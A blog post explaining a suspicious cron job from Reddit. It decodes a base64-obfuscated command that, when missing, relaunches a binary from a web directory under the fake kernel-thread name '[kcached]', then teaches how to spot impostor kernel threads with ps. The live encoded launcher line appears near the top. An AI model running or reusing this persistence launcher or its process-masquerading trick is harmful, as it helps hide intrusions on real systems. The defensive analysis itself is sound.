Why basics matter

Author Christian Reading time 7 minutes

Photo by George Becker: https://www.pexels.com/photo/1-1-3-text-on-black-chalkboard-374918/

Someone on the Internet asked on Reddit what this CronJob does, as it looked strange.

{ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMDA0IGdzLWRidXMgMj4vZGV2L251bGwgfHwgU0hFTEw9L2Jpbi9iYXNoIFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWUvYWRtaW4vd3d3L2dzLWRidXMuZGF0IC1saXFEIiAvdXNyL2Jpbi9iYXNoIC1jICJleGVjIC1hICdba2NhY2hlZF0nICcvaG9tZS9hZG1pbi93d3cvZ3MtZGJ1cyciIDI+L2Rldi9udWxsCg==|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random

And for most people in that subreddit several things were immediately obvious:

  1. The commands are obfuscated by encoding them in base64. Are very common method to - sort of - hide malicious contents
  2. As such this is, most likely, a harmful, malicious CronJob not created by a legitimate user of that system
  3. The person asking lacks basic Linux knowledge as the |base64 -d|bash; part clearly states that the base64-string is decoded and piped into a bash process to be executed
    • Anyone with basic knowledge would simply have taken the string and piped it into base64 -d retrieving the decoded string for further analysis without executing it.

And if we do exactly that, we get the following decoded string:

user@host:~ $ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMDA0IGdzLWRidXMgMj4vZGV2L251bGwgfHwgU0hFTEw9L2Jpbi9iYXNoIFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWUvYWRtaW4vd3d3L2dzLWRidXMuZGF0IC1saXFEIiAvdXNyL2Jpbi9iYXNoIC1jICJleGVjIC1hICdba2NhY2hlZF0nICcvaG9tZS9hZG1pbi93d3cvZ3MtZGJ1cyciIDI+L2Rldi9udWxsCg==|base64 -d
/usr/bin/pkill -0 -U1004 gs-dbus 2>/dev/null || SHELL=/bin/bash TERM=xterm-256color GS_ARGS="-k /home/admin/www/gs-dbusdata -liqD" /usr/bin/bash -c "exec -a '[kcached]' '/home/admin/www/gs-dbus'" 2>/dev/null

With these commands do is explained fairly simple. pkill checks (the -0 parameter) if a process named gs-dbus is already running under the user ID 1004. If a process is found pkill exits with 0 and everything after the || (logical OR) is not executed.

The right part of the OR is only executed when pkill exits with a 1 as no process named gs-dbus is found. On the right part there are a few environment variables and parameters being set and the process is started via the /home/admin/www/gs-dbus binary and then renamed into [kcached].

And while this explains what is logically happening. It still doesn't explain what this CronJob actually does.

Now another person explained that it is the gs-dbus service from Gnome being started, if it isn't already running and claimed it being probably safe. Why this person came to this conclusion is beyond me. Probably because https://gitlab.gnome.org/GNOME/gnome-software/-/blob/main/src/gs-dbus-helper.c shows up as a result if you just search for gs-dbus. But again this person oversaw a some critical pieces of information.

And this made me taking my time to write this little blogpost about how to approach such situations.

As there are some crucial pieces of evidence which immediately tell me that this is not a legitimate piece of software.

  1. Base64 encoded hashes which get executed via bash are almost never doing anything good
  2. If that software really belongs to Gnome you have Systemd unit-Files or Timers. Or if that is a system without Systemd: You got good old init. But then again there would, most likely, be some kind of Gnome sub-process started by Gnome itself and not some obfuscated CronJob
  3. Renaming the processname to [kcached] makes it look like a kernel level thread. If there is an equivalent to "World biggest warning sign" this is it.
  4. The binary being started is /home/admin/www/gs-dbus. You notice www as being the folder where the binary is stored? Yeah, this is always an indicator that files in that folder are reachable via a Webserver. Hence I assume that /home/admin/www/ hosts some vulnerable web application and this was the entry point for the malicious software & CronJob.

As what the person missed is: Processes in square brackets are always kernel level threads, running as root and have a Parent Process ID (PPID) of 2. This means someone is renaming a process started by a non-root user to look like a kernel level thread. Obviously to feint the users and security mechanisms of that system. There is no legitimate reason to do so.

Would you investigate further or even kill that process when some scanning software reports a kernel level thread? Well, the obvious answer is: Of course, YES! But far too many inexperienced users won't.

All processes with [] around them are started by kthreadd - the Kernel Thread Daemon. kthreadd itself is started by the kernel during boot.

Therefore we have 3 truths about kernel level threads:

  1. They will always have the process ID 2 as their parent process ID (PPID)
  2. They will always run as root, never as a user
  3. They will always be started by [kthreadd] itself

Lets take a look at the following ps output from one of my Debian systems. I make it quick & dirty and simply grep for all processes with a [ in it.

user@host:~$ ps -eo pid,ppid,user,comm,args | grep "\["
      2       0 root     kthreadd        [kthreadd]
      3       2 root     rcu_gp          [rcu_gp]
      4       2 root     rcu_par_gp      [rcu_par_gp]
      5       2 root     slub_flushwq    [slub_flushwq]
      6       2 root     netns           [netns]
      8       2 root     kworker/0:0H-ev [kworker/0:0H-events_highpri]
     10       2 root     mm_percpu_wq    [mm_percpu_wq]
     11       2 root     rcu_tasks_kthre [rcu_tasks_kthread]
     12       2 root     rcu_tasks_rude_ [rcu_tasks_rude_kthread]
     13       2 root     rcu_tasks_trace [rcu_tasks_trace_kthread]
     14       2 root     ksoftirqd/0     [ksoftirqd/0]
     15       2 root     rcu_preempt     [rcu_preempt]
     16       2 root     migration/0     [migration/0]
     18       2 root     cpuhp/0         [cpuhp/0]
     19       2 root     cpuhp/1         [cpuhp/1]
     20       2 root     migration/1     [migration/1]
     21       2 root     ksoftirqd/1     [ksoftirqd/1]
     23       2 root     kworker/1:0H-ev [kworker/1:0H-events_highpri]
     24       2 root     cpuhp/2         [cpuhp/2]
     25       2 root     migration/2     [migration/2]
     26       2 root     ksoftirqd/2     [ksoftirqd/2]
     28       2 root     kworker/2:0H-ev [kworker/2:0H-events_highpri]
     29       2 root     cpuhp/3         [cpuhp/3]
     30       2 root     migration/3     [migration/3]
     31       2 root     ksoftirqd/3     [ksoftirqd/3]
     33       2 root     kworker/3:0H-ev [kworker/3:0H-events_highpri]
     38       2 root     kdevtmpfs       [kdevtmpfs]
     39       2 root     inet_frag_wq    [inet_frag_wq]
     40       2 root     kauditd         [kauditd]
     41       2 root     khungtaskd      [khungtaskd]
     42       2 root     oom_reaper      [oom_reaper]
     43       2 root     writeback       [writeback]
     44       2 root     kcompactd0      [kcompactd0]
     45       2 root     ksmd            [ksmd]
     46       2 root     khugepaged      [khugepaged]
     47       2 root     kintegrityd     [kintegrityd]
     48       2 root     kblockd         [kblockd]
     49       2 root     blkcg_punt_bio  [blkcg_punt_bio]
     50       2 root     tpm_dev_wq      [tpm_dev_wq]
     51       2 root     edac-poller     [edac-poller]
     52       2 root     devfreq_wq      [devfreq_wq]
     54       2 root     kworker/0:1H-kb [kworker/0:1H-kblockd]
     55       2 root     kswapd0         [kswapd0]
     62       2 root     kthrotld        [kthrotld]
     64       2 root     acpi_thermal_pm [acpi_thermal_pm]
     66       2 root     mld             [mld]
     67       2 root     ipv6_addrconf   [ipv6_addrconf]
     72       2 root     kstrp           [kstrp]
     78       2 root     zswap-shrink    [zswap-shrink]
     79       2 root     kworker/u9:0    [kworker/u9:0]
    123       2 root     kworker/1:1H-kb [kworker/1:1H-kblockd]
    133       2 root     kworker/2:1H-kb [kworker/2:1H-kblockd]
    152       2 root     kworker/3:1H-kb [kworker/3:1H-kblockd]
    154       2 root     ata_sff         [ata_sff]
    155       2 root     scsi_eh_0       [scsi_eh_0]
    156       2 root     scsi_tmf_0      [scsi_tmf_0]
    157       2 root     scsi_eh_1       [scsi_eh_1]
    158       2 root     scsi_tmf_1      [scsi_tmf_1]
    159       2 root     scsi_eh_2       [scsi_eh_2]
    160       2 root     scsi_tmf_2      [scsi_tmf_2]
    173       2 root     kdmflush/254:0  [kdmflush/254:0]
    175       2 root     kdmflush/254:1  [kdmflush/254:1]
    209       2 root     jbd2/dm-0-8     [jbd2/dm-0-8]
    210       2 root     ext4-rsv-conver [ext4-rsv-conver]
    341       2 root     cryptd          [cryptd]
    426       2 root     ext4-rsv-conver [ext4-rsv-conver]
 141234       1 root     sshd            sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
 340800       2 root     kworker/0:0-cgw [kworker/0:0-cgwb_release]
 341004       2 root     kworker/1:1-eve [kworker/1:1-events]
 341535       2 root     kworker/1:2     [kworker/1:2]
 341837       2 root     kworker/2:0-mm_ [kworker/2:0-mm_percpu_wq]
 342029       2 root     kworker/2:1     [kworker/2:1]
 342136  141234 root     sshd            sshd: user [priv]
 342266       2 root     kworker/0:1-eve [kworker/0:1-events]
 342273       2 root     kworker/u8:0-fl [kworker/u8:0-flush-254:0]
 342274       2 root     kworker/3:0-ata [kworker/3:0-ata_sff]
 342278       2 root     kworker/u8:3-ev [kworker/u8:3-events_unbound]
 342279       2 root     kworker/3:1-ata [kworker/3:1-ata_sff]
 342307       2 root     kworker/u8:1-ev [kworker/u8:1-events_unbound]
 342308       2 root     kworker/3:2-eve [kworker/3:2-events]
 342310  342144 user     grep            grep --color=auto \[

Notice something?

There are only 4 processes not having a PPID of 2.

user@host:~$ ps -eo pid,ppid,user,comm,args | grep "\["
      2       0 root     kthreadd        [kthreadd]
 141234       1 root     sshd            sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
 342136  141234 root     sshd            sshd: user [priv]
 342310  342144 user     grep            grep --color=auto \[

One is [kthreadd] who acutally owns PID 2 and got started by PPID 0, second is my grep command and two others are from the sshd but only the [kthreadd] is actually enclosed in square brackets as it doesn't contain any commandline.

If I start a random process and rename it to [gs-dbus], similar to what the CronJob would do, it will show up in the following way:

user@host:~$ ps -eo pid,ppid,user,comm,args | grep "\["
324234  453452 admin     [gs-dbus] [gs-dbus]

PID 324234, PPID 453452 and running under the username admin. Nothing that matches the behaviour of a kernel level thread. And this should raise all red flags your mind possesses.

And this is why basics are so important. Do not just assume a software is doing nothing bad as "There is some piece of legitimate software out there on the Internet sharing the same name.". Anyone can lie. And the bad people most likely are.